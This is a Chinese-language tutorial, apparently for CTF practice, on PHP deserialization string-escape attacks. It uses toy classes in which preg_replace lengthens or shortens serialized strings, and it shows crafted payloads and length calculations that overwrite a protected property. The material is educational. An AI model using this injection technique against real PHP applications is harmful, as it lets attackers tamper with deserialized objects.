PHP在反序列化时,底层代码是以 ;
作为字段的分隔,以 }
作为结尾,并且在字符串内,是以关键字后面的数字来规定所读取的内容,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化。当序列化的长度不对应的时候会出现报错
通常题目中会利用preg_replace()
函数来处理我们传入的序列化字符串,导致长度不对应,产生报错
这时,我们可以利用字符串逃逸的办法绕过
序列化字符串的格式
开始之前,先来复习一下PHP序列化字符串的构造方式吧:
N;
表示null
。b:1;
或b:0;
表示布尔值true
或false
。i:123;
表示整数 123。d:1.23;
表示浮点数 1.23。s:4:"text";
表示字符串 "text",其中 4 是字符串的长度。a:2:{...}
表示数组,2 是数组的长度,花括号内包含键值对。O:8:"MyClass":2:{...}
表示一个对象,8 是类名的长度,MyClass 是类名,2 是对象属性的数量,花括号内包含属性和值。
字符串逃逸
字符逃逸的本质其实也是闭合
分为两种情况:字符增多、字符减少
字符增多
示例:
<?php
class A{
public $a = 'cccccc'; //假设此值可修改
public $b = 'Vini Jr.';//假设此值不可改
}
function replace($a){
$target='/c/i';
return preg_replace($target,'zz',$a);
}
$pre=new A;
var_dump(serialize($pre));
$replaced=replace(serialize($pre));
var_dump($replaced);
?>
结果为:
string(56) "O:1:"A":2:{s:1:"a";s:6:"cccccc";s:1:"b";s:8:"Vini Jr.";}"
string(62) "O:1:"A":2:{s:1:"a";s:6:"zzzzzzzzzzzz";s:1:"b";s:8:"Vini Jr.";}"
倘若我们想在只修改$a
不直接修改$b
的情况下,使反序列化后$b='Rodri'
,就可以利用字符串逃逸。
夹带私货hhh,不懂的话可以了解一下2024足球男子金球奖的故事
构造方法
先来看看目标情况下的序列化字符串是什么样子的:
string(53) "O:1:"A":2:{s:1:"a";s:6:"cccccc";s:1:"b";s:5:"Rodri";}"
string(59) "O:1:"A":2:{s:1:"a";s:6:"zzzzzzzzzzzz";s:1:"b";s:5:"Rodri";}"
对比之后可以得到我们要修改的部分(逃逸部分),记得闭合
";s:1:"b";s:5:"Rodri";}
将这一段字符串拼接到$a
的尾部即可进行修改,结果如下
string(77) "O:1:"A":2:{s:1:"a";s:29:"cccccc";s:1:"b";s:5:"Rodri";}";s:1:"b";s:5:"Rodri";}"
string(83) "O:1:"A":2:{s:1:"a";s:29:"zzzzzzzzzzzz";s:1:"b";s:5:"Rodri";}";s:1:"b";s:5:"Rodri";}"
可以看到s:29
,如果我们把s:29
后面的内容以字符串按要求填满了29个,那么s:1:"b";s:5:"Rodri";}
就会执行。而}”
后面的内容,即;s:1:"b";s:8:"Vini Jr.";}"
就不会执行了,从而达到了逃逸的目的。
很简单,让替换后的z
的个数达到原本$a
的值的长度即可
因为在替换时一个c
变成了两个z
,已知新加入的字符串";s:1:"b";s:5:"Rodri";}
长度为23
假设需要写入x
个c
,易算x+23=2x => x=23
所以修改$a='ccccccccccccccccccccccc";s:1:"b";s:5:"Rodri";}';
print_r(unserialize($replaced));
返回改后类的变量值
也就是:
<?php
class A{
public $a='ccccccccccccccccccccccc";s:1:"b";s:5:"Rodri";}'; //假设此值可修改
public $b = 'Vini Jr.';//假设此值不可改
}
function replace($a){
$target='/c/i';
return preg_replace($target,'zz',$a);
}
$pre=new A;
var_dump(serialize($pre));
$replaced=replace(serialize($pre));
var_dump($replaced);
print_r(unserialize($replaced));
?>
结果如下:
string(97) "O:1:"A":2:{s:1:"a";s:46:"ccccccccccccccccccccccc";s:1:"b";s:5:"Rodri";}";s:1:"b";s:8:"Vini Jr.";}"
string(120) "O:1:"A":2:{s:1:"a";s:46:"zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz";s:1:"b";s:5:"Rodri";}";s:1:"b";s:8:"Vini Jr.";}"
A Object
(
[a] => zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
[b] => Rodri
)
可以看见Vini Jr.
变成了Rodri
总的来说,字符增加时,就是让修改后增加的字符z
占用原本";s:1:"b";s:5:"Rodri";}
的位置,从而让";s:1:"b";s:5:"Rodri";}
逃逸出去成功执行。
字符减少
示例:
<?php
class A{
public $a='zzzzzz'; //可修改
public $b = 'Vini Jr.'; //也可修改
}
function replace($a){
$target='/zz/i';
return preg_replace($target,'c',$a);
}
$pre=new A;
var_dump(serialize($pre));
$replaced=replace(serialize($pre));
var_dump($replaced);
?>
执行结果:
string(56) "O:1:"A":2:{s:1:"a";s:6:"zzzzzz";s:1:"b";s:8:"Vini Jr.";}"
string(53) "O:1:"A":2:{s:1:"a";s:6:"ccc";s:1:"b";s:8:"Vini Jr.";}"
显然,替换后的字符串无法正确被反序列化
若是要达到反序列化后$b='Rodri'
,就需要$a
处写入构造的过滤字符,$b
处写入逃逸字符,这里与字符增加的情况略有差别
构造方法
同样,要先构造这段字符串
";s:1:"b";s:5:"Rodri";}
但是前面要加入任意字符(例如W
)用来闭合:
W";s:1:"b";s:5:"Rodri";}
这就得到了逃逸部分字符串,使$b='W";s:1:"b";s:5:"Rodri";}'
,得到:
string(73) "O:1:"A":2:{s:1:"a";s:6:"zzzzzz";s:1:"b";s:24:"W";s:1:"b";s:5:"Rodri";}";}"
string(70) "O:1:"A":2:{s:1:"a";s:6:"ccc";s:1:"b";s:24:"W";s:1:"b";s:5:"Rodri";}";}"
可以看到,在序列化字符串里,有两个s:1:"b"
,第一个是序列化得到的,第二个是我们构造的逃逸部分
那么如何让逃逸部分生效呢?
那就需要让其前面的字符关键字读取到";s:1:"b";s:24:"W
这部分作为字符串
很简单,让替换后减少的字符个数达到原本";s:1:"b";s:24:"W
的长度即可(17)
因为在替换时zz
变成了c
,假设需要$a
写入x
组zz
,易算2x-x=17 => x=17
,所以要写17组zz
也就是34个z
修改$a='zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz';
,$b = 'W";s:1:"b";s:5:"Rodri";}';
print_r(unserialize($replaced));
返回改后类的变量值
也就是
<?php
class A{
public $a='zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz';
public $b = 'W";s:1:"b";s:5:"Rodri";}';
}
function replace($a){
$target='/zz/i';
return preg_replace($target,'c',$a);
}
$pre=new A;
var_dump(serialize($pre));
$replaced=replace(serialize($pre));
var_dump($replaced);
print_r(unserialize($replaced));
?>
结果:
string(102) "O:1:"A":2:{s:1:"a";s:34:"zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz";s:1:"b";s:24:"W";s:1:"b";s:5:"Rodri";}";}"
string(85) "O:1:"A":2:{s:1:"a";s:34:"ccccccccccccccccc";s:1:"b";s:24:"W";s:1:"b";s:5:"Rodri";}";}"
A Object
(
[a] => ccccccccccccccccc";s:1:"b";s:24:"W
[b] => Rodri
)
成功
总的来说,字符减少的情况下,要让原本序列化得到的内容填充减少了的字符的位置,被当作字符串解析,使得传入的逃逸部分被正常反序列化